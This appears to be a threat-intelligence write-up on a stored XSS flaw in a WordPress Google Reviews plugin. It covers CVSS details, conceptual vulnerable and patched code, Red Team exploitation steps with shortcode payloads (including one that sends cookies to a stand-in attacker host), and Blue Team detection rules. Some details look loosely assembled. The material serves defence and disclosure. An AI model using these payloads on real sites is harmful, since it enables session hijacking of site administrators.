CVE-2025-9436
Executive Summary
CVE-2025-9436 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress ecosystem, specifically within the Widgets for Google Reviews plugin by Trustindex. The flaw resides in the plugin's trustindex shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 13.2.1. No public exploit code or patch details are currently available, but the risk is elevated due to the plugin's widespread use for displaying Google Reviews.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level WordPress user)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for a Contributor-level user to execute arbitrary JavaScript on any page visited by higher-privileged users (e.g., Administrators) significantly increases the real-world risk. This can be chained with privilege escalation or backdoor installation.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS within the WordPress shortcode API. The trustindex shortcode is used by the plugin to embed Google Reviews widgets. The plugin fails to validate and sanitize user-supplied attributes (e.g., class, id, style, or custom data attributes) before rendering them in the HTML output.
Attack Flow:
- An attacker with Contributor-level access (or higher) creates or edits a post/page.
- The attacker inserts the
[trustindex]shortcode with a malicious attribute, such as:[trustindex class="test\" onmouseover=\"alert('XSS')\""] - The plugin's shortcode handler does not escape the
classattribute, resulting in the following HTML being rendered:<div class="test" onmouseover="alert('XSS')"> - When any user (including an Admin) hovers over the widget, the JavaScript executes.
The vulnerability is rooted in insufficient input sanitization and output escaping. The plugin likely uses esc_attr() incorrectly or not at all for shortcode attributes.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
function trustindex_shortcode($atts) {
$class = $atts['class'];
return '<div class="' . $class . '">...</div>';
}
Patched Code (Expected):
function trustindex_shortcode($atts) {
$class = isset($atts['class']) ? esc_attr($atts['class']) : '';
return '<div class="' . $class . '">...</div>';
}
The patched version uses esc_attr() to escape the attribute value, preventing HTML injection. Additionally, the plugin should validate allowed attributes against a whitelist.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with the Widgets for Google Reviews plugin (<= 13.2.1) installed and activated.
- A user account with Contributor-level privileges or higher.
Exploitation Steps:
- Log in as a Contributor.
- Create a new post or page.
- Switch to the Text/Code editor.
- Insert the following shortcode:
This payload triggers when the element receives focus (e.g., via tab navigation).[trustindex class="test\" onfocus=\"alert(document.cookie)\" autofocus=\"autofocus\""] - Publish the post.
- Send the link to an Administrator or wait for them to visit the page.
- The JavaScript executes, exfiltrating cookies or performing other actions.
Alternative Payload (Stealthy):
[trustindex data-custom="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing the
[trustindexshortcode with unusual attributes (e.g.,onerror,onfocus,onmouseover). - Use Web Application Firewall (WAF) rules to block requests containing suspicious shortcode attributes.
- Review WordPress user roles and ensure Contributor-level users are trusted.
Hardening:
- Immediately update the plugin if a patched version becomes available.
- If no patch is available, disable the plugin or restrict shortcode usage to Administrator-level users only.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
- Use a WordPress security plugin that monitors for malicious shortcode injections.
Indicators of Compromise (IOCs)
File System:
- Modified
wp-content/plugins/widgets-for-google-reviews/files (check for backdoors). - Suspicious entries in
wp-content/uploads/(e.g., PHP files with obfuscated code).
- Modified
Database:
- Posts/pages containing
[trustindexwith event handler attributes (e.g.,onerror,onfocus,onmouseover). - Unusual
wp_postmetaentries withtrustindexshortcode data.
- Posts/pages containing
Network:
- Outbound connections to unknown domains from the WordPress server (potential data exfiltration).
- HTTP requests containing
[trustindexin the body or URL.
Logs:
- WordPress debug log entries showing shortcode parsing errors.
- Web server access logs with requests to pages containing the malicious shortcode.
Detection Engineering
YARA Rule
rule detect_cve_2025_9436_shortcode_xss {
meta:
description = "Detects malicious trustindex shortcode attributes indicative of CVE-2025-9436"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9436"
strings:
$shortcode = /\[trustindex\s+[^\]]*?(on\w+\s*=|javascript:)/i
$event_handler = /on(error|focus|mouseover|load|click)\s*=\s*["']?[^"']*?["']?/i
condition:
$shortcode and $event_handler
}
Sigma Rule
title: WordPress Widgets for Google Reviews Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via trustindex shortcode in WordPress posts
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains: '[trustindex'
post_content|re: 'on\w+\s*='
condition: selection
falsepositives:
- Legitimate use of event handlers in shortcode (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9436 WordPress Widgets for Google Reviews Stored XSS"; flow:to_server,established; content:"[trustindex"; http_client_body; pcre:"/\[trustindex\s+[^\]]*?(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to business operations.
- Restrict shortcode usage to Administrator-level users only via a custom plugin or user role editor.
- Implement a Web Application Firewall (WAF) rule to block requests containing
[trustindexwith event handler attributes.
Long-Term Fix:
- Apply the official patch from Trustindex as soon as it is released.
- If no patch is forthcoming, consider replacing the plugin with an alternative that is actively maintained and secure.
General Hardening:
- Enforce the principle of least privilege for WordPress user roles.
- Regularly audit posts and pages for malicious shortcode injections.
- Keep all WordPress core, themes, and plugins updated.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.